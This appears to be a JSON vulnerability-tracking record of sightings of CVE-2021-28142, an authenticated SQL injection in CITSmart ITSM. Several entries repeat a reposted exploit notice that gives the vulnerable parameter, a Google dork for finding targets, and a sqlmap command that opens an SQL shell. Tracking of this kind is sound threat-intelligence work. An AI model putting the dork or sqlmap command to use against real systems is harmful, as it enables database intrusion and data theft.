{"vulnerability": "cve-2021-28142", "sightings": [{"uuid": "1622f963-b972-4312-a60c-669fca58f143", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28142", "type": "seen", "source": "MISP/e195fade-a417-4bb5-8bfb-57bc580eedf5", "content": "", "creation_timestamp": "2024-11-14T06:08:58.000000Z"}, {"uuid": "aacb9755-3611-4da0-88b2-9b47d25f45a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28142", "type": "published-proof-of-concept", "source": "https://t.me/pwnwiki_zhchannel/163", "content": "CVE-2021-28142 CITSmart ITSM 9.1.2.27 - 'query' SQL\u6ce8\u5165\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-28142_CITSmart_ITSM_9.1.2.27_-_%27query%27_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-09-21T06:42:48.000000Z"}, {"uuid": "ec9e3618-f744-40c6-87af-4a7a87774d7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28142", "type": "seen", "source": "https://t.me/hacking_Attack/4930", "content": "Exploit Collector\nCITSmart ITSM 9.1.2.27 SQL Injection\n\nhttps://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png \nCITSmart ITSM version 9.1.2.27 suffers from a remote time-based blind SQL injection vulnerability.\n\nMD5 | 3d24d2282ef6f774e3ec4558ad1409d1\n\nDownload\n# Exploit Title: CITSmart ITSM 9.1.2.27 - 'query' Time-based Blind SQL Injection (Authenticated)\n# Google Dork: \"citsmart.local\"\n# Date: 11/03/2021\n# Exploit Author: skysbsb\n# Vendor Homepage: https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html\n# Version: < 9.1.2.28\n# CVE : CVE-2021-28142\n\nTo exploit this flaw it is necessary to be authenticated.\n\nURL vulnerable:\nhttps://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale\nParam vulnerable: query\n\nSqlmap usage:  sqlmap -u \"\nhttps://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale\" --cookie 'JSESSIONID=xxx' --time-sec 1 --prefix \"')\" --suffix \"AND ('abc%'='abc\" --sql-shell\n\nAffected versions: < 9.1.2.28\nFixed versions: >= 9.1.2.28\n\nVendor has acknowledge this vulnerability at ticket 11216 (https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:46.797877Z"}, {"uuid": "03d30c39-1873-40b4-8513-6cd496eecd8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28142", "type": "seen", "source": "https://t.me/hacking_Attack/4930", "content": "Exploit Collector\nCITSmart ITSM 9.1.2.27 SQL Injection\n\nhttps://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png \nCITSmart ITSM version 9.1.2.27 suffers from a remote time-based blind SQL injection vulnerability.\n\nMD5 | 3d24d2282ef6f774e3ec4558ad1409d1\n\nDownload\n# Exploit Title: CITSmart ITSM 9.1.2.27 - 'query' Time-based Blind SQL Injection (Authenticated)\n# Google Dork: \"citsmart.local\"\n# Date: 11/03/2021\n# Exploit Author: skysbsb\n# Vendor Homepage: https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html\n# Version: < 9.1.2.28\n# CVE : CVE-2021-28142\n\nTo exploit this flaw it is necessary to be authenticated.\n\nURL vulnerable:\nhttps://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale\nParam vulnerable: query\n\nSqlmap usage:  sqlmap -u \"\nhttps://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale\" --cookie 'JSESSIONID=xxx' --time-sec 1 --prefix \"')\" --suffix \"AND ('abc%'='abc\" --sql-shell\n\nAffected versions: < 9.1.2.28\nFixed versions: >= 9.1.2.28\n\nVendor has acknowledge this vulnerability at ticket 11216 (https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:23.049657Z"}, {"uuid": "0ba61652-b824-435e-bf43-a67819db08e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28142", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/4930", "content": "Exploit Collector\nCITSmart ITSM 9.1.2.27 SQL Injection\n\nhttps://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png \nCITSmart ITSM version 9.1.2.27 suffers from a remote time-based blind SQL injection vulnerability.\n\nMD5 | 3d24d2282ef6f774e3ec4558ad1409d1\n\nDownload\n# Exploit Title: CITSmart ITSM 9.1.2.27 - 'query' Time-based Blind SQL Injection (Authenticated)\n# Google Dork: \"citsmart.local\"\n# Date: 11/03/2021\n# Exploit Author: skysbsb\n# Vendor Homepage: https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html\n# Version: < 9.1.2.28\n# CVE : CVE-2021-28142\n\nTo exploit this flaw it is necessary to be authenticated.\n\nURL vulnerable:\nhttps://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale\nParam vulnerable: query\n\nSqlmap usage:  sqlmap -u \"\nhttps://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale\" --cookie 'JSESSIONID=xxx' --time-sec 1 --prefix \"')\" --suffix \"AND ('abc%'='abc\" --sql-shell\n\nAffected versions: < 9.1.2.28\nFixed versions: >= 9.1.2.28\n\nVendor has acknowledge this vulnerability at ticket 11216 (https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-08T10:00:06.284011Z"}, {"uuid": "42550833-e4f5-4234-896c-a8f082fe2008", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28142", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/4930", "content": "Exploit Collector\nCITSmart ITSM 9.1.2.27 SQL Injection\n\nhttps://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png \nCITSmart ITSM version 9.1.2.27 suffers from a remote time-based blind SQL injection vulnerability.\n\nMD5 | 3d24d2282ef6f774e3ec4558ad1409d1\n\nDownload\n# Exploit Title: CITSmart ITSM 9.1.2.27 - 'query' Time-based Blind SQL Injection (Authenticated)\n# Google Dork: \"citsmart.local\"\n# Date: 11/03/2021\n# Exploit Author: skysbsb\n# Vendor Homepage: https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html\n# Version: < 9.1.2.28\n# CVE : CVE-2021-28142\n\nTo exploit this flaw it is necessary to be authenticated.\n\nURL vulnerable:\nhttps://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale\nParam vulnerable: query\n\nSqlmap usage:  sqlmap -u \"\nhttps://vulnsite.com/citsmart/pages/smartPortal/pages/autoCompletePortal/autoCompletePortal.load?idPortfolio=&idServico=&query=fale\" --cookie 'JSESSIONID=xxx' --time-sec 1 --prefix \"')\" --suffix \"AND ('abc%'='abc\" --sql-shell\n\nAffected versions: < 9.1.2.28\nFixed versions: >= 9.1.2.28\n\nVendor has acknowledge this vulnerability at ticket 11216 (https://docs.citsmart.com/pt-br/citsmart-platform-9/get-started/about-citsmart/release-notes.html)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-09T00:00:33.107513Z"}]}